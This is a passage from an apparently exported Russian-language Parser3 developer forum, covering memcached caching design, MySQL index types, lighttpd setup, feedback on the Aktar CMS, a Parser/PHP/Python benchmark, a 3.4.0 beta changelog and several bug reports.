^mMem.del[key](ttl) \
[/quote]\
\
считаю, что это надо делать в hashfile-стиле:\
\
[code]\
#закешировать\
$mMem.key[string|table|...]\
или\
$mMem.key[\
	$.value[string|table|...]\
	$.expire(int|date)\
]\
#взять\
$mMem.key\
#удалить ключ (не уверен, что стоит делать \"отложенное удаление\")\
^mMem.delete[key]\
[/code]\
\
\
[quot]\
P.S 2Misha, как по хорошему не ковыряя руками Makefile.in и .am добавить класс в сборку? Интересует последовательность действий и версия automake.\
[/quot]\
\
собственно я ковырю рукам .am, а затем aclocal, autoheader, autoconf, automake %-)\
но в общем, если пришлёте сами файлы, в проект я их сам добавлю."
"70321","у нас используются не самые новые либы, возможно это было исправлено в последних релизах (см. changelog) или в dev версии (см. SVN)\
\
обновить либы на *nix -- тривиально (подправить buildall*, сделать make distclean удалить ../gnome, запустить buildall*)"
"70324","Memcached хранит только строки. Если с таблицами все понятно (ее можно представить в виде строк) , то хранение пользовательского объекта класса oMyPageBuildWhenMoonIsFullClass не представляется возможным."
"70325","Как думаешь, как лучше представлять VHash в стринг типе?\
Чтото типа JSON?\
\
[code]$hMySuperHash[\
     $.one(1)\
     $.two[asd]\
     $.three[$tMyTable]\
]\
[/code]\
\
Как\
\
{\
 one:1,\
 two:'asd',\
 three:\
 {\
   value:'one    two    three\
          1      2      3',\
   type:1|2\
 }\
}"
"70326","Есть ощущение, что этого делать не стоит. Вполне достаточно сделать хранение в memcached только строк (не надо ни хешей ни таблиц), а уж как сериализовать типы пусть решает программист. Ровно так, как и сделано в классе hashfile - это самое универсальное решение."
"70327","Сериализатор таблиц уже есть)\
С таблицами все просто, но хочеться мемкешидь хэши и доставать их оттуда же...\
или всетаки лишнее?"
"70328","... и таблицы тоже. Код сериализаторов есть в [url=http://www.parser.ru/examples/storage/]соответствующем примере[/url] - как раз там ему и место. :)"
"70329","[b][PRIMARY KEY] [/b]\
- Задает первичный ключ таблицы. \
В таблице может быть задан только одни первичный ключ. Все значения столбца, помеченного как перичный ключ, не должны содержать значения NULL. Если при создании таблицы первичный ключ явно указан не был, а приложение его запрашивает, то БД MySQL автоматически устанавливает первый столбец с параметром UNIQUE, если во всех значениях этого столбца нигде не встречается значение NULL. \
В качестве первичного ключа можно задать как один, так и несколько столбцов: PRIMARY KEY(col_1, col_2, ...)\
Только в этом случае ни один другой столбец не может быть первичным, т.е. не может быть описан: PRIMARY KEY(col_1), PRIMARY KEY(col_1, col_2)\
Поля PRIMARY KEY являются проиндексированными полями\
---------------------------------------------------\
[b]KEY [/b]\
- Является синонимом к INDEX \
---------------------------------------------------\
[b]INDEX[/b]\
- Задает поля, которые будут проиндексированы. \
Индексация полей полезна для ускорения работы команды SELECT (причем ускорение порой бывает очень даже хорошее). \
В качестве наглядного примера пользы от использования индексов можно взять книгу. В ней индексами будет являться оглавление. Если нам в книге надо найти определенный раздел и нет оглавления, то придется всю книгу перелистывать страница за страницей, пока нужный раздел не будет найден. А с оглавлением мы быстро можем найти любое место в книге за считанные секунды. Тоже самое и с таблицей. Если у таблицы нет индексов, то при поиске определенного значения MySQL \"проходится\" по всем записям таблицы и пытается найти необходимое значение. Если задать поля, которые должны быть проиндексированы, то MySQL создает специальное хранилище, в котором содержатся все значения проиндесированных полей таблицы и точное местоуказание, где это значение находится. Т.е. поиск значения происходит практически мгновенно, что несомненно сказывается на скорости выполнения скрипта. \
Но за удобство и скорость работы приходится платить. В случае с индексами оплатой является увеличение базы данных примерно в два раза. \
В MySQL проиндексированы могут быть поля любого типа. Для ускорения работы в полях типа CHAR и VARCHAR можно индексировать только несколько первых символов. \
При задании индексов необходимо учитывать, что только у таблиц типа MyISAM, InnoDB и BDB индексируемое поле может иметь значения NULL. Чтобы небыло ошибок советуют полям, которые будут проиндексированы, всегда назначать NOT NULL.\
---------------------------------------------------\
[b]UNIQUE[/b]\
- Этот ключ указывает на то, что данный столбец может иметь только уникальные значения. При попытке добавления повторяющегося значения в таблицу в поле с ключом UNIQUE, эта операция завершится ошибкой. \
Уникальными можно задать как один, так и несколько столбцов.\
---------------------------------------------------\
[b]FULLTEXT [/b]\
- Задает поля, к которым в последствии может быть применен полнотекстный поиск. \
Полнотекстный поиск является средством MySQL, направленным на поиск нужной информации в базе данных и выводе результатов в соответствии с релевантностью найденных строк относительно поискового запроса. \
Полнотестный поиск введен в MySQL начиная с версии 3.23.23 для таблиц типа MyISAM и только для полей типа VARCHAR и TEXT. \
При индексировании полей с ключом FULLTEXT происходит индексация всего значения, а не его части (т.е. задать для индексации первые n-символов НЕЛЬЗЯ).\
---------------------------------------------------\
\
[i]Вот все очень подрбно изложено (http://www.spravkaweb.ru/mysql/sql/createtable)[/i]"
"70330","даже если вы сделаете внутренний сериализатор для букв хеша (я бы предпочел не json-style, т.к. у него существенный overhead), то что вы будете делать с языками (tainting)?\
\
т.е. после put(key, hash), последующий hash=get(key) вернёт не то-же самое. именно поэтому, я считаю, упрощать эту операцию нельзя (а если уж делать, то делать надо правильную сериализацию у всех системных объектов с сохранением языков и соотв. с десериализацией)."
"70331","Любой объект можно представить в виде строки.\
\
Никто не мешает сделать методы a-la «.asString[]» и «.fromString[]» у пользовательского объекта и пользоваться.\
Всё в руках программиста."
"70332","Требуется заставить работать parser3 под lighttpd.\
Подскажите, как заставить работать. Кто-нибудь сталкивался?"
"70333","А именно данная ветка не для вас - http://www.parser.ru/forum/?id=56729 ?"
"70334","это я уже читал, так как с момента написания прошло 3 года, думал что изменилось что-то в этом плане. Ясно спасибо :("
"70335","у меня есть большое сомнение, что воз и ныне там.\
лично мне кажется, что описываемая там проблема (с не выставлением необходимых заголовков) решается несложными настройками сервера."
"70336","при обращении к html файлу, парсер не обрабатывается в нём, хотя я так понимаю за это отвечают строки:\
#### CGI module\
cgi.assign                 = ( \".html\"  => \"/www/www-clickon/data/cgi-bin/parser3\",\
                               \".cgi\" => \"/usr/bin/perl\" )\
\
и + к этому если использовать index.p3, а не хтмл указав тут:\
index-file.names            = ( \"index.p3\", \"index.html\",\
                                \"index.htm\" )\
\
то при обращении к п3 файлам получаем 403... никаких запретов на запуск файлов нет.\
\
правда отношения к парсеру тут всё меньше и меньше, но мало ли, может есть идеи..."
"70337","http://aktar3.sibarit.ru\
Приглашаю тестировать.\
Еще 2-3 месяца потребуется, чтобы утрясти установочный процесс, но версия - рабочая:)"
"70338","Есть несколько вопросов по компонентам:\
- что может [b]Подпрограмма SHOP[/b]? Как я понял из Доки, заявлена поддержка 1C. На каком уровне?\
- на каком уровне реализован (возможности) система рейтинга в форуме?"
"70339","Поддержка 1С в Aktar: возможность импорта любых полей прайса по внешнему ключу (парсеру нужна текстовая таблица), возможность экспорта одного или группы заказов по диапазону номеров, дат, фамилий и т.д. Поддержка Aktar в 1С: экспорт таблиц в tab-delimited c одновременной выгрузкой на сервер.\
\
Рейтинги: Поддерживается любой объект: статья, сообщение в форуме, новость, запись в akbd. \"окраска\" голоса кастомизируется, т.е. вы на своем сайте можете сделать базу по кошкам и опции рейтинга \"пушистая/царапучая\". Но опции вывода именно по \"окраске\" еще не реализованы. Некоторые объекты можно сортировать по рейтингу, скрывать/удалять/выбирать."
"70340","Скачек много, а отзывов по _установке_ - мало. Прошу отписаться здесь или на Актаре, мне очень важно"
"70341","Что-бы написать отзыв нужно маломальски код просмотреть и разобраться, что нравиться, а что нет."
"70343","С 1С понятно.\
\
Рейтинг интересует, т.к. есть желание прикрутить рейтинг к модулю блога, для его \"о-социализации\". Пока разбираюсь, как реализовано у других, но свободного времени на это очень мало."
"70344","Скажу сразу, устанавливать систему я не пробовал - смотрел исходники на Гитхабе. И они мне сильно не понравились...\
\
Система абсолютно неортогональна и представляет из себя мешанину кода, шаблонов, клиентских скриптов - какого-то осмысленного разделения логики системы и шаблонов я так и не увидел. Названия методов и переменных абсолютно бессистемны, про то, что Парсер объектно-ориентированный язык автор видимо не слышал - даже \"модули\" реализованы на уровне операторов, а не классов (классы в папке classes тоже не далеко ушли от набора обычных операторов). Глобальная область видимости захламлена по полной программе - локальные переменные описаны далеко не во всех методах и автору видимо просто повезло, что повсеместное использование глобальной переменной $tmp не привело к появлению серьезных ошибок. Как с подобной системой сможет работать кто-либо кроме автора мне не ясно. Более того, я бы категорически не стал рекомендовать использовать эту систему людям, которые только начинают использовать Парсер."
"70345","Скачал исходники, но установляя ЦМС нашёл проблема:\
1. Все парсерные файлики у вас имеет розширение .htm у меня .html и я должен был изменять конфигурацю апача. Потерял 3 минуть\
\
2. Вошёл в /login и во-первом восстанивилас какая-то ошибка. /login/install тоже не работал и я удалил .htacces. Заработало, но - что нибудь плохо с кодировкой - нет русских букв. Я изменил в бровсере на win-1251. \
\
3. http://localhost/login/install/configure.htm тоже не работал и другие тоже не работает. Тепер уже потерял 15 минут и мне надо делать свое роботы...\
\
Я скачял - не посмотрел...\
По-моему устаковка долхна сделаться в 3 минут максимально.\
\
\
Поздравляю"
"70346","1. Мешанина кода и шаблонов идет с Парсера 3.0, когда поддержка xml вылетала в самых неожиданных моментах. Впрочем, никто не мешает создавать свои шаблоны на xml+xslt, просто отказавшись от операторов удобства. Позже я вынесу их в отдельный файл и тогда глобальное пространство сильно очистится.\
\
2. Система там такая: ядро + пользовательская часть - они не связаны и взаимозаменяемы. Вы можете заархивировать пользовательскую часть, распаковать ее на другой сайт, запустить быструю установку - и всё:) Другой системы нет, да. А на Гитхабе лежит только ядро.\
\
3. Существенная часть кода действительно идет с момента, когда автор и слыхом не слыхивал об ООП. В качестве паллиатива есть класс checkout.p - используя его,  можно не особо задумываться о глобальном пространстве.\
\
4. Некоторые модули уже обернуты в класс (как минимум в качестве пространства имен это себя оправдывает). Все новые вещи - akbd, datawork, rating, captcha - структурированы и объектны. \
\
Теперь о хорошем.\
1. Недавно мы с другой вебстудией (используют Битрикс, Жумлу) взяли по паре техзаданий и сделали по ним сайты. Актар показал почти двукратный выигрыш во времени. \
2. Весь код поправить за короткий срок - нереально. Зато по результатам использования открытой системы другими людьми легко будет понять, какие из его частей нуждаются в структурировании в первую очередь."
"70347","Рейтинг для блога запланирован на ближайшее время. Рейтинг комментариев к нему будет работать примерно как на dirty.ru"
"70348","1. обработчик .htm вроде описан www/.htaccess. Вы его ставили?\
2. Кодировку сейчас пофиксим, это важное замечание\
3. http://localhost/login/install/configure.htm - какая именно ошибк?"
"70351","1. Да htm это моя ошибка. Я удалил из .htaccess всё об установке парсера потомучто у меня он уже устоновлен в гловном httpd.conf \
\
2. Спосибо ;)\
\
3.\
Forbidden\
You don't have permission to access /login/install/configure.htm on this server.\
\
Я удалил .htaccess и вошол в \"Быстрая и нежная установка\". Но quick.htm устоновил .htaccess ещё раз и ошибка \"Forbidden\" возникла тоже ещё раз. Я не понимаю зачем вам запрещать доступ до всех файликов в install через .htaccess (Deny from all)."
"70352","install/.htaccess - потому что это потенциальная уязвимость. Пока нет .htaccess, любой может зайти и создать себе учетную запись с правом 'deity', а это право в числе прочего разрешает выполнять код. \
Но тут да, можно сделать проверку наличия таблиц в БД, и если их нет - предлагать сперва завести пользователя."
"70354","Посмотрел Parser3-pf, при всей логичности наименования переменных и структуре классов, я не могу его _понять_ и не могу с ним работать _быстро_. Хотя на Java такой подход был бы очень уместен, да."
"70356","Обычный интернет-магазин. Обычный метод добавления заказа.\
\
Поступают сообщения, что у некоторых после заказа просто белая страничка -- т.е. не перенаправляет.\
\
Пробовал и $response:refresh[...] - тоже <b>иногда</b> у <b>некоторых</b> не срабатывает.\
\
Сейчас убрал перенаправление. Но это, имхо, как-то не кошерно, т.к. ни обновить страничку, ни пойти назад, после перехода на другую страничку не представляется возможным (повторная отправка и ошибка!)\
\
[code]@methodAddOrder[]\
^if(def $form:post && ...){\
	... добавление в бд\
\
	$response:location[http://$env:SERVER_NAME/my/cart/history/$order.id/?thank-you]\
}[/code]\
\
Протестировал у себя и на нескольких других компьютерах - 1 из 10 попыток не срабатывало перенаправление :-(\
\
Хостинг: masterhost\
Parser/3.3.0 (compiled on i386-unknown-freebsd6.3)"
"70357","Исправили больше 10 найденных вами ошибок, внесли около 20 изменений в процесс инсталляции. \
Установка стала существенно проще, с ней только что самостоятельно за полчаса справилась моя жена, детский психолог-методист (дорогая, извини за нервы). \
Так что добро пожаловать снова."
"70358","Сравнение производительности Parser, PHP и Python на задаче формирования XML размером ~4,2Mb из таблицы с 10,000 записей.\
\
Такой размер выбран, чтобы процесс работал достаточное для сбора статистики время - от запуска к запуску результаты плавают на 1-2 сотые секунды (поэтому на 6 знаков после запятой можно не обращать внимания).\
\
Для большей наглядности XML формируется 3-мя разными способами. Понятно это не полноценное сравнение, просто одна, но довольно типичная задача.\
\
Parser 3.4.0b:\
\
xml1: cpu 0.103326 memory(16776/3380) parser 3.4.0b VSZ/RSS 28224/20520\
xml2: cpu 0.319979 memory(30504/4564) parser 3.4.0b VSZ/RSS 43520/34660\
xml3: cpu 0.313312 memory(25472/1404) parser 3.4.0b VSZ/RSS 35200/29492\
\
VSZ/RSS - реальный размер процесса с точки зрения OS\
\
PHP 5.2.6 (такая версия попала под руку):\
\
xml1: cpu 0.176655 memory(4359/248) 5.2.6-1+lenny2\
xml2: cpu 0.199986 memory(4359/248) 5.2.6-1+lenny2\
xml3: cpu 0.303313 memory(4359/248) 5.2.6-1+lenny2\
\
xml2 без htmlspecialchars: cpu 0.159989 memory(3578/261) 5.2.6-1+lenny2\
xml3 без htmlspecialchars: cpu 0.249983 memory(3578/261) 5.2.6-1+lenny2\
\
По поводу памяти php сообщает несколько оптимистичные цифры, с точки зрения OS реальный размер процесса такой: VSZ/RSS 44912/15904\
\
Python 2.5.2 (такой стоит):\
\
xml1: cpu 0.313312\
xml2: cpu 0.359976\
xml3: cpu 0.389974\
\
xml1 без cgi.escape: cpu 0.166655\
xml2 без cgi.escape: cpu 0.20332\
xml3 без cgi.escape: cpu 0.233318\
\
Размер процесса в памяти примерно такой: VSZ/RSS 31484/17068\
Справочно: после чтения всех данных из SQL cpu ~0.08 sec, против ~0.02 в парсере.\
\
И для сравнения Parser 3.3.0:\
\
xml1: cpu 0.286647 memory(61152/6684) parser 3.3.0 \
xml2: cpu 1.17659 memory(195072/3836) parser 3.3.0\
xml3: cpu 1.28658 memory(234440/5428) parser 3.3.0\
\
Далее чуть измененный тест, так как в 3.3.0 неэффективно сделан возврат большого результата из метода. Если это исключить, ($x[^xml1[^table::sql{select * from test}]]), результаты таковы:\
\
xml1: cpu 0.116659 memory(17936/2220) parser 3.3.0\
xml2: cpu 0.483301 memory(67004/832) parser 3.3.0\
xml3: cpu 0.549964 memory(90152/2260) parser 3.3.0\
\
Если кратко - существенной разницы в скорости работы между парсером, php и python на указанном тесте нет. Видно, что потребление памяти в процессе работы парсерного кода удалось существенно сократить по сравнению с 3.3.0, но все равно есть куда стремиться. Интересный факт - в php наведение \"красоты\" путем разбиения на методы оказывается заметно более ресурсоемко, чем в парсере.\
\
Код формирования xml на парсере (сильно короче, чем на остальных языках :):\
\
[code]@xml1[data][field]\
^data.menu{<data id=\"$data.id\">\
<fdate>$data.fdate</fdate>\
<fcontent1>$data.fcontent1</fcontent1>\
<fcontent2>$data.fcontent2</fcontent2>\
<fcontent3>$data.fcontent3</fcontent3>\
<fcontent4>$data.fcontent4</fcontent4>\
<fcontent5>$data.fcontent5</fcontent5>\
</data>\
}\
\
@xml2[data][fields;field]\
$fields[^data.columns[]]\
^data.menu{<data id=\"$data.id\">\
^fields.menu{$field[$fields.column]^if($field ne 'id'){<$field>$data.$field</$field>\
}}</data>\
}\
\
@xml3[data][fields;field]\
$fields[^data.columns[]]\
^data.menu{^xml3data[$fields;$data]}\
\
@xml3data[fields;data]\
<data id=\"$data.id\">\
^fields.menu{^xml3field[$data;$fields.column]}\
</data>\
\
@xml3field[data;field]\
$result[^if($field ne 'id'){<$field>$data.$field</$field>\
}]\
\
@main[]\
^connect[mysql://user:password@host/db]{\
    ^xml1[^table::sql{select * from test}]\
}\
\
$result[cpu $status:rusage.utime memory($status:memory.used/$status:memory.free) parser $env:PARSER_VERSION\
][/code]\
\
Реализации на остальных языках плюс функция заполнения таблицы данными доступны в архиве [url=\"http://www.parser.ru/f/1/fun/p3test.zip\"]p3test.zip[/url]"
"70360","В связи с этим особенно приятно на старый проект, где были \"узкие места\", поставить новый Парсер."
"70361","У меня никогда не возникнела проблема при $response:location.\
\
Можеть быть что нехороший у вас хостер..."
"70362","Я бы ещё добавил вариант теста при сборке xml через DOM-методы. Хотя бы для разных версий парсера. Но практически в любом случае этот вариант будет более ресурсоёмким.\
\
\
P.S.: moko, скажи пожалуйста, в студийных сайтах xml оптимизируется по white-space перед кешированием и/или скармливанием на transform?\
\
Ведь для удобства чтения код пишется примерно так:\
[code]@xml1[data][field]\
^data.menu{\
	<data id=\"$data.id\">\
		<fdate>$data.fdate</fdate>\
		<fcontent1>$data.fcontent1</fcontent1>\
		<fcontent5>$data.fcontent5</fcontent5>\
	</data>\
}[/code]\
\
соответственно, xml получается сильно \"дырявый\", занимает больше места и ресурсов при трансформе. Имеет смысл проходиться match'ем или replace'м для конкатенации всех строк? Ведь это тоже недешёвые операции."
"70363","Посмотрите какие заголовки отдаются и что не так при отсутствии редиректа."
"70364","Посещаемость растет, хостинг не выдерживает, с сервером рубиться совсем неохота("
"70365","Посел того как там установили какой-то софт принудительного кэширования, иногда стали рубиться заголовки, отличные от 200-го.\
Попробуйте скриптом внутри <head>:\
<script type=\"text/javascript\">\
location.replace(\"^taint[js][куда перенаправляем]\")\
</script>"
"70366","[quote]Я бы ещё добавил вариант теста при сборке xml через DOM-методы. Хотя бы для разных версий парсера. Но практически в любом случае этот вариант будет более ресурсоёмким.[/quote]\
\
Этот тест был сделан для того, чтобы оценить эффективность языка, а не XML библиотек, которые к тому же мало изменились с последней версии. Сборка через DOM будет медленнее настолько, насколько маленькими кусочками в него добавлять. :) Просто xdoc:create от всего результата работает весьма быстро - ~0.07 sec, вот только памяти ест ~33Mb.\
\
0.140008 gc_memory(16444/3712) before\
0.216013 gc_memory(49308/7004) after\
\
Что касается P.S., для этого есть штатные средства:\
\"И во вторых - когда нам нужно выдать в браузер xml, а не html (например для ajax, RSS, SOAP и т.п.). В этом случае автоматическое преобразование (optimized-html) не подходит и вокруг всего кода нужно написать ^untaint[optimized-xml]{...} и расслабиться :)\""
"70367","В среднем можно рассчитывать на ~ -25% - как по памяти, так и по CPU. Но если узкое место именно в парсере, а не XSLT/SQL, разница скорее всего будет заметна сильнее."
"70368","- парсер теперь официально собирается как 64-битное приложение (при этом использует больше памяти, т.е. мы продолжаем рекомендовать пользоваться 32-битным приложением, когда это возможно)\
\
- сделано большое количество оптимизаций. теперь без использования compact потребление в некоторых случаях [url=\"/forum/?id=70358\"]сильно уменьшено[/url] (если compact использовался, оно тоже меньше, но не настолько). версия собрана с GC 7.1 (было: 6.8)\
\
- парсер собран с PCRE 7.9 (было: 7.7); все шаблоны теперь подвергаются pcre_study (иногда это увеличивает скорость поиска по шаблону до 2 раз); добавлен отдельный класс regex (^regex::create[шаблон]), объекты которого можно использовать в match и file:list вместо строчных шаблонов; шаблонам при их создании делается автоматический ^untaint[regex]{...} (грязные данные не пройдут)\
\
- ^file::load[...;http://...]: добавлен upload файлов на удалённый сервер, для чего нужно воспользоваться новой опцией $.enctype[multipart/form-data] (Elik прислал патч); параметр $.method[] теперь не чувствителен к регистру; исправлена ошибка, из-за которой невозможно было использовать все 4 параметра этого конструктора\
\
- хеш теперь помнит порядок элементов (как добавляли), при foreach перебирает их в данном порядке; _keys[] возвращает таблицу с ключами в этом-же порядке\
\
- trim теперь умеет работать со строками в UTF-8\
\
- untaint[js] эскейпит \\xOD в \\r (если у вас вдруг достались такие данные откуда-либо, чего при работе с данными только средствами парсера быть не должно)\
\
- добавлен новый тип преобразования parser-code, который эскейпит спецсимволы парсера символом '^'; тело оператора process теперь подвергается автоматическому untaint преобразованию данного типа (грязные данные теперь не пройдут)\
\
- ^rem{} может иметь произвольное количество параметров (проще комментировать буквы, содержащие внутри символ ';') и теперь выкусывается на этапе компиляции\
\
- у файлов, созданных с помощью конструкторов create, load или exec/cgi доступно новое поле mode, содержащее text или binary\
\
- третий параметр метода ^изображение.font теперь может быть хешом со след. опциями: $.space(ширина пробела), $.width(ширина букв), $.spacing(расстояние между символами)\
\
- исправлена ошибка некорректного определения кодировки в пришедшем POST запросе, если в конце заголовка content-type не было символа ';'\
\
брать [url=\"/download/beta/\"]тут[/url]\
\
P.S. выложенные версии для *nix содержат debug info, чтобы в случае core можно было бы отследить ошибку."
"70369","В теле оператора cache ^untaint[optimized-xml]{} работает странно:\
[code]$sCached[^cache[xml.cache](60*60){^untaint[optimized-xml]{\
	<data>\
		<content>test</content>\
	</data>\
}}]\
\
^sCached.save[xml.txt][/code]\
в файле xml.cache текст сохраняется не-optimized, в xml.text - optimized\
\
Получается, в браузер или transform попадёт оптимизированный вариант, а на диске (в кеше) будет \"полный\". Половинная экономия?:-)"
"70370","при кешировании сохраняется строка со всеми языками. иначе кеширование всё ломало-бы (утверждение о том, что \"в файле xml.cache текст сохраняется не-optimized\" я не очень понимаю).\
\
при сохранении в файл (как и при выдачу в браузер) происходят преобразование в соответствии с указанными языками."
"70371","\"в файле xml.cache текст сохраняется не-optimized\" значит, что если посмотреть содержимое файла (view source), то текст не будет оптимизирован по white-spaces.\
\
Как понимаю, со стороны парсерных оптимизаций сохранение кеш-файла оператором cache \"!=\" сохранение в файл методом save, поэтому преобразования не происходит.\
Но ведь из кеш-файла читается уже оптимизированная строка. Как это происходит?"
"70372","Будеть ли бета на Редхата?\
\
Поздровляю"
"70374","Сделал сайт на Parser/3.2.1sp2 (compiled on i386-unknown-freebsd6.1), всё работало. Сейчас пошли глюки, например,\
[code]^if(-f \"${request:uri}gallery/001.jpg\"){...}[/code] - файл не находится\
Если вставить [code]<img src=\"${request:uri}gallery/001.jpg\">[/code], картинка отображается. И так далее. В чем может быть дело?"
"70375","я написал, что там хранится и буквы и языки."
"70376","это у вас работало каким-то чудом.\
\
в общем случае дисковый пусть (который по умолчанию парсер считает от корня веб пространства) != $request:uri\
\
разберитесь что у вас в document root"
"70377","что было под рукой -- на том собрал. \
исходники доступны, собирается всё обычно тривиально."
"70378","document-root - я поменял в самом начале, так сайт работал год-два\
[code]@main[]\
<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\">\
$request:document-root[здесь правильный путь][/code]"
"70379","Это баг или что-нибудь менилось?\
\
[code]\
@main[]\
$buggy[\
	$.key[\
		$.sub1[something]\
		$.sub2[ok]\
	]\
]\
\
^find[$buggy]\
#Parser 3.3.0 выводить \"ok\"\
#Parser 3.4.0b ничего не выводить\
\
@find[hWhere]\
^hWhere.foreach[key;value]{\
	^if($value is \"string\"){\
		^if($value eq \"ok\"){\
			$result[$value]\
			^break[]\
		}\
	}{\
		^find[$value]\
	}\
}\
[/code]"
"70380","должно тепер сделать\
[code]$result[^find[$value]][/code]"
"70381","... новой версии. Если компилятор видит в методе переменную result, то считается, что метод возвращает результат только через нее."
"70382","Все равно будет некорректно в случае пустого хеша.\
Поэтому правильнее и в начале добавить $result[]"
"70384","... абсолютный путь к файлу и значение document-root."
"70385","И этот анализ делается не во время компиляции, а во время выполнения. Нехорошо получится, если первый раз метод вызовется с пустым хешом. Парсер в результате запомнит, что метод не возвращает результат. Для увеличения совместимости там добавлена проверка, что если результат присвоен, он все равно вернется, но на практике это не всегда помогает.\
\
Кстати обсуждаемый метод все равно с ошибкой - break должен происходить при любом первом нахождении, а здесь он не происходит при рекурсивном вызове."
"70386","Закинул новую версию, в паре мест отвалилось с ошибкой в ключах хэша.\
Притом, хитро, и при повторном обращении — код отрабатывал без ошибок.\
Одно из мест — Img, по работе с картинками через nConvert и ImageMagic.\
\
Искать было некогда, пока откатился.\
По возможности, попробую локализовать."
"70387","По симптомам похоже ту же проблему, что и у предыдущего оратора. Или изучать код, с результатом работы которого вознимает проблема, или можно закомментировать в src/types/pa_method.h #define OPTIMIZE_RESULT, пересобрать и если проблема исчезнет - то точно \"оно\"."
"70388","Как и положено, дело в собственных кривых руках.\
\
Устранил, продолжаю использовать бету.\
\
За совет спасибо, буду иметь ввиду.\
\
\
Запоминание порядка элементов хэша — отличная штука.\
Это ж, теперь, полноценный «array», которого многие хотели.\
Сортировки, разве что, нет."
"70389","Я сейчас поставил себе на Windows XP 32 бита версию без SSL скачанную с http://en.wlmp-project.net/downloads.php. Добавил все настройки в конфиг и вот, что получаю при вызове любого файла Парсера.\
\
[code]\
Stack trace:\
Frame     Function  Args\
0023C048  7C802542  (0000000C, 0000EA60, 000000A4, 0023C090)\
0023C168  61097F54  (00000000, 7C802600, 7C802542, 000000A4)\
0023C258  61095AEB  (00000000, 003B0023, 00230000, 0023CE68)\
0023C2B8  61095FCB  (0023C2D0, 00000000, 00000094, 0023C300)\
0023C378  61096182  (00000E10, 00000006, 0023C3A8, 61096383)\
0023C388  610961AC  (00000006, 0023CE88, 64704306, 0023C3C0)\
0023C3A8  61096383  (61103150, 64704306, 64704000, 0000040A)\
0023C4E8  64702F91  (006A1050, 006AFCD8, 006AC900, 00000000)\
0023C518  6CA859D7  (006A1050, 006AFCD8, 006AFFE8, 0023C548)\
0023C558  00403DFF  (006A1050, 006AFCD8, 00000005, 00406709)\
0023C9B8  00406E1A  (006A1050, 006AFCD8, 00000001, 006A14AC)\
0023CC98  0040294D  (00000006, 006A01F8, 006A0090, 61168990)\
0023CD98  610060D8  (00000000, 0023CDD0, 61005450, 0023CDD0)\
61005450  61004416  (0000009C, A02404C7, E8611021, FFFFFF48)\
Exception: STATUS_ACCESS_VIOLATION at eip=61016583\
eax=EC815356 ebx=61108148 ecx=00000000 edx=57E58959 esi=0000000E edi=00000001\
ebp=0069C8B8 esp=0069C8B0 program=F:\\LightTPD\\LightTPD.exe, pid 3600, thread sig\
cs=001B ds=0023 es=0023 fs=003B gs=0000 ss=0023\
Stack trace:\
Frame     Function  Args\
0069C8B8  61016583  (61108148, 6111C19B, FFFFFF48, 00000000)\
0069C8D8  610166EC  (00000001, 00000000, 00000000, 0069C960)\
0069C918  61017FD5  (000007B8, 0069C960, 00000000, 00000000)\
0069CC58  61018638  (000006CC, 0069CC90, 000000A4, 0069CC8C)\
0069CD58  61099F57  (61106F00, 00000000, 00000000, 00000000)\
0069CD88  61002F32  (0069CE64, 61018970, 00001074, 00000000)\
61003650  61003769  (04A16430, 89000000, FFDA90B0, 24468BFF)\
   1651 [sig] lighttpd 3600 _cygtls::handle_exceptions: Error while dumping state (probably corrupted stack)\
[/code]\
\
LightTPD Output:\
[code]\
2009-07-12 02:14:29: (log.c.172) server started\
   1651 [sig] lighttpd 3600 _cygtls::handle_exceptions: Error while dumping state (probably corrupted stack)\
2009-07-12 02:14:38: (mod_cgi.c.1279) cleaning up CGI: process died with signal 11\
[/code]"
"70390","Емейл на знаю, отслал на угад на misha [at] design.ru"
"70391","пока я занят и детально не смотрел.\
бегло просмотрел -- в общем OK, но есть некоторое количество мелочей."
"70392","Молимся и уповаем)"
"70393","Хостинг [url=\"http://www.1gb.ru/\"]1gb.ru[/url]. Тариф \"Основной\"\
\
Использую [url=\"http://www.parser.ru/examples/auth/\"]Класс авторизации[/url].\
\
Работает интернет-магазин. Проблема следующая:\
многие пользователи жалуются, что после создания пользователя не могут под ним зайти на сайт. Некторые отмечают, что удается с третьего раза это сделать.\
\
Сначала я грешил на загруженность SQL-сервера, т.к. иногда он выдавал отказ в доступе. Сейчас, после того, как я добавил [b]timeout=30[/b] к строке соединения такое если и проходит, то раз в пару недель.\
\
Были подозрения также на браузер IE под VISTA, но теперь заказчик жалуется, что народу стало очень много. Как понять, в Vist-е ли все дело, хостинге, или я где-то ошибся?"
"70394","У меня есть [url=\"http://code.google.com/p/labour-system/source/browse/trunk/www/classes/labour/tainting/labourTidy.p\"]класс для работы с tidy[/code].\
\
После того как обновился на новый Парсер (а именно сегодня собранный из HEAD). Тайди стал зависать. Я замечаю в процессах, что он запустился и висит. По истечению нескольких минут запрос в логи вылетает, что и следует ожидать:\
[code]\
[Tue Jul 14 11:38:53 2009] [warn] [client 127.0.0.9] Timeout waiting for output from CGI script /var/www/useparts/cgi-bin/parser-3.4.0b/parser.cgi\
[Tue Jul 14 11:38:53 2009] [error] [client 127.0.0.9] Premature end of script headers: parser.cgi\
[Tue Jul 14 11:43:53 2009] [warn] [client 127.0.0.9] Timeout waiting for output from CGI script /var/www/useparts/cgi-bin/parser-3.4.0b/parser.cgi\
[/code]\
\
С версией 3.3.0 такого нет.\
\
Версия tidy: HTML Tidy for Linux released on 25 March 2009.\
Использую 64 битные версии Парсера.\
\
Позже постараюсь вытащить сам кусок для теста, пока это неудается сделать, т.к. замечена данная проблема после загрузки страницы с другого сайта и передчи ее tidy на обработку. Если же самому ввести какой-то текст и передать в ^tidy_объект.parse[xhtml;данные], то проблема не замечена.\
\
P.S. Я пока попробую вынести ошибку в чистый вид. Пока просто сообщил, что замечен сам факт - работа класса меняется от версии Парсера:\
3.3.0 - ok,\
3.4.0 beta - зависание."
"70395","Перепроверил, реально все так.\
Сначала получаю \"Timeout waiting for output from CGI script\" и \"Premature end of script headers: parser.cgi\", и каждый раз через 5 минут еще раз \"Timeout waiting for output from CGI script\".\
\
Повторный timeout из-за настроек сервера?"
"70396","У меня в классе реализовано так, что конфиг для tidy и тестируемый код ложится а отдельные временные файлы, поэтому я просто перекрыл вызов и запустил его из консоли.\
\
Заметил. что 3.4.0b что-то мутит с файлами при сохранении их в UTF-8.\
\
Тестирование я проводил на HTML коде загруженном с главной страницы parser.ru, вот метод загрузчик кода:\
[code]\
@_getDataFromURL[strUrl]\
  $fFile[^file::load[text;^untaint[as-is]{$strUrl}][\
    $.method[GET]\
